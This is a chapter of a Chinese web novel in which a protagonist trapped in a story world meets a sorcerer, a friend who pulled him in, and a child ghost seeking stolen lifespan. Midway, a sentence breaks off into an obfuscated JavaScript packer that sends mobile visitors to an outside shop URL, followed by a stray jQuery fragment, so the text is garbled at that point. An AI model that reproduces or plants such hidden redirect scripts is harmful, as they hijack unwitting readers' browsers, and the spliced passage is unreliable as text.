在九月一日的中午,寻观正在喂鱼时,收到了某位网友的信息。
扒老太太裤衩子:朋友,帮忙砍一刀,(一串链接)
寻观毫不犹豫地点了进去,不料被骗了,熟悉的系统音再次响起:
【本卷名为《离情》,因角色严重的恶意行为,本卷的结局已无法达成,参与角色也被困在了卷里。】
【请问您是否选择参与?若您选择参与,系统将为您发布全新任务,达成“释放”结局。】
“参与。”
【您的身份为沈疏影的二徒弟,因身份虚构,可自由行动。】
【本卷任务为给予鬼魂自由。】
有鬼?!我现在反悔还来得及吗?!可恶啊!
红彤彤的蜡烛被一双粗糙的手插在烛台上,老人抖着托着烛台进到了里屋。拖沓的脚步声传来,小女孩笑着抬起了头,“爷爷!”
她放下手里的草编娃娃,替老人接过了烛台。她轻巧地拿过,放在了木桌上。
今年是她的本命年,她爸妈给她买了一身红,她穿着一身红坐在椅子上,面前放着红蜡烛。
温和的烛光照在老人的脸上,沟壑的皮肤再次皱起,老人笑着摸了摸小女孩的头,“我们小彤长大了,都会帮爷爷拿烛火了。”
“爷爷给你讲个故事哈。”
小彤趴在桌子上,她的眼睛印着摇曳的火烛,那个有关长命百岁的故事让她心生向往。
如果有那个借寿本,爷爷就能活很多年了。
她听了太久,有些困倦地点着头。等醒来时,自己正躺在床上,爷爷也已经睡了。
泛蓝的玻璃窗外有个银盘一般的月,星星白芝麻般洒在天上,白光与星光诱惑着她。
小彤从炕上爬下来,进了院里。
在院的正中央,月亮照着的地方放着一个本子,泛黄的封面上用黑墨写着“借寿本”三个字。
小彤惊讶地大叫一声,将本子扔了出去。
“闹鬼了!有鬼!”
她叫喊着,把邻居家的孩子们也叫了起来,其中有个孩子长得比他们都高,还有一双漂亮的丹凤眼。
那个孩子抱着胳膊说道:“什么闹鬼?这不就是个破本子吗?”他抢过本子,直接扔进了灶里,一把火烧了。
小彤气坏了,她哭着喊道:“沈疏影!你怎么把它烧了?!你会遭报应的!”
沈疏影根本不把那个本子当回事,可到了第二天,那个已经烧毁的本子完好无损地出现在了他枕头下面。
他谁都没告诉,将它继续藏在了那,可第三天的时候,它又不见了。
沈疏影找遍了所有地方都没找到,他累得坐在台阶上,忽然听到有人叫道:“徒弟,你快醒醒!你大师兄诈尸了!”
他感到脑瓜子痛得要死,手一摸上痛处,眼睛就睁开了。
寻观迷茫地看着面前没了棺材板的棺材,和一屋子的白布,本能地问道:“什么?谁诈尸了?!”
“你大师兄!快过去看看,活了就敲晕,死了就把板子再盖回去。”和他说话那个人,穿着长袍,挂着一身稀奇古怪的东西。
寻观看着他那双丹凤眼,觉得异常熟悉不确定地问道:“沈疏影?”
“你真是睡傻了,连你师父都不认识了!”沈疏影气得假胡子都要飞了,“快去看看你大师兄。”
诈尸的大师兄?
寻观僵硬地站起来,以乌龟的速度向棺材前进,他还没走到,大师兄直接站起来了。
先入目的是对方那张与古早漫画里吸血鬼一样的脸,他有着华丽至极的长相和漂亮的长发。
长得确实很不像人。
“你……男的女的?”
大概他的脑子被吓没了吧。
沈疏影躲在后边,话也一点没少,“都说是师兄啦,那肯定是男的嘛!但他昨天就死了啊,所以你快点把他打晕啊!”
吸血鬼穿着一件斜扣短夹克和一条水洗黑色牛仔裤,身上挂满了饰品,腰上还别了一把剑,看着很不好相处。
那“鬼”转动着红眼珠看向他,嗓音温和熟悉:“你就是寻观啊?”
这要干架的语气是怎么回事?
“是。”寻观一边诚实地回应,一边扫过旁边破旧的木桌,木椅,想着用什么可以把面前这个人敲晕。
“终于见面了!我是阿愿,你的网友啊,就是我把你拉进来的,你一定要救救我啊……”阿愿一把抱住他,嚎得仿佛受了天大的冤屈。
寻观扯了扯嘴角,把他的手拽了下去。
更想揍他了。
他俩拉扯时,沈疏影误以为诈尸的阿愿要弄死寻观了,着急忙慌地抓着个板砖跑过来大喊:“我来救你了,徒弟!”
“我没死啊!师父!”
千钧一发之际,阿愿抽出剑将板砖砍成两半,砖块掉落后竟自顾自燃烧起来,化为灰烬。
沈疏影呆滞地看着那堆灰,他脑袋后边的马尾辫也跟着疑惑地晃了下,接着他猛地后退十几步喊道:“妖怪啊!”
“我真不是!”
寻观头疼地按了按太阳穴。
经过一段时间的解释,三个人终于可以平静地坐下来聊天了。
沈疏影摸着自己的假胡子,神神叨叨地说着:“你们在家看着,我一会得超度鬼去。”
“我们要在家看着什么?”
“看着别让鬼进来。”沈疏影一边收拾东西离开,一边叮嘱他们一定不要让鬼进家里来。
等他跨过那块破木门槛,院子里就剩下了二人。
阿愿顶着寻观满是怨言的眼神,无奈地说:“没办法,情况紧急,我也只能联系上你了。”
“算了,你们干了什么?为什么结局无法达成了?”
“唉……真不是我干了什么,这得怪,额……你知道继神会吗?”
“不知道,那是什么?”
“继神会认为我们来这里是神干的,他们要继承神的意志,要努力变强。大概就是为了踩着别人变强,找了个冠冕堂皇的借口罢了。”
“而他们的会长谷善缘,就在这里。他想杀我,但不清楚我的长相,所以把所有可能是角色的都杀了。”
“他为什么想杀你?”
阿愿看了他一眼说:“你真的不知道?”
寻观也很疑惑,“我应该知道?”
“我是万俟诉愿,如果我死了,身上的道具就会掉落,而我的道具用三个麻袋都装不完,他是奔着我的道具和天赋来的。”
“好了,别说了,我不想知道。”
知道类似第一名是谁,长什么样之类的,感觉自己也要被连带着一起被追杀了。
他刚说完就听到阿愿满是笑意的声音,“哈哈哈哈,你不想知道也没用,谷善缘也很想杀你。抢了你的天赋,他可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731779|206343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就是预言家了。”
“真是够了,我要头疼死了。”他拒绝去想未来会遇到的麻烦,开始分析现状。
这里是个很常见的村庄,只是坐落在山里,出去不方便,进来也不方便,像马孔多刚建立的样子。
仿佛自诞生就注定终结了,年轻人往外走,留下的除了孩子就是老人。
房子里有两间卧室,两个类似客厅的空间,一推开木门旁边就是灶台,或许是厨房吧,最大的房间放着很多棺材。
寻观抬头看了看天,太阳已经下山了,灰蒙蒙的云中泄出几分深蓝,北方秋冬的天总是这样,又荒又冷。
寻观打算睡前礼貌告知一下,他对阿愿说:“我要去睡了。”
“不要啊,你别睡。”
“为什么?”
“因为我睡不着。”
寻观无语地站在原地,想着要不要去找个棍子直接给他敲晕算了。
但他保持住了体面,“你躺在床上,就能睡着了。”
“并不能,床太硬了。”
他放弃沟通了,“不管你了,我睡觉去了。”
阿愿满脸悲伤地目送他离开。
寻观将炕随便打扫了一下,抻开被子躺下来的时候,才意识到阿愿说得是对的。
这个床确实硬。
他没躺多久,总是觉得周围亮,就算是闭上眼也感觉眼皮里一片红。
空气中飘荡着蜡烛的味道,那味道越来越浓,光线越来越亮,他终于忍不住睁开了眼。
乍一睁眼就看到了眼前贴着一张小女孩的脸,她手上举着蜡烛,火苗子都烧到他的脸了,却只感觉到了冷。
他被冻得一下也动不了,叫也叫不出来,像被鬼压床了。
小女孩见他睁了眼就离远了些,她尖利的嗓子哨子一样,“为什么?!我只能活到十六岁!!”
我去,我也不知道啊,别吓我……
“凭什么我要被困在这里!你把你的寿命给我好不好?”
小女孩穿了一身红,皮肤白得发冷,眼珠像个黑墨点,她笑得嘴角都裂了。
寻观张不开口,没带眼镜也看不清她。
她站了起来,寒气从她踮起的脚尖一直传到他肚子里,冰冷的痛感还未蔓延,周围就燃起了火,他在火里听到了阿愿的声音。
“我都叫你不要睡了!师父都说有鬼啊!”
声音一响,他就感觉自己能动了,当下直接踹开被子,站了起来,他正要催动丝线将那小鬼束住时,震耳的哭声就响了起来。
震得人魂都能飞出去,阿愿因声音痛苦地捂住耳朵,他的指缝甚至里渗出了血。
寻观被他严重的反应震惊到了,手上却丝毫未动,无数泛着蓝光的丝线冲向小女孩,但在碰到的一瞬间,她就消失了。
他戴上眼镜从炕上跳下来,扶住了阿愿,问道:“还好吗?”
“不好。”阿愿依旧捂着耳朵,蜷缩着蹲在地上。
“为什么这么严重?”
“跟我的天赋有关,就是五感比较敏锐。”
寻观从卫衣兜里掏出了几张卫生纸递给他,“把血擦擦。说起来,那个小女孩没有十六岁吧?”
阿愿有些嫌弃地接过那一坨皱巴巴的纸,细心地擦着自己的手部关节,“没有,看着才十岁左右。”
“奇怪了,她刚说自己为什么只能活到十六岁。”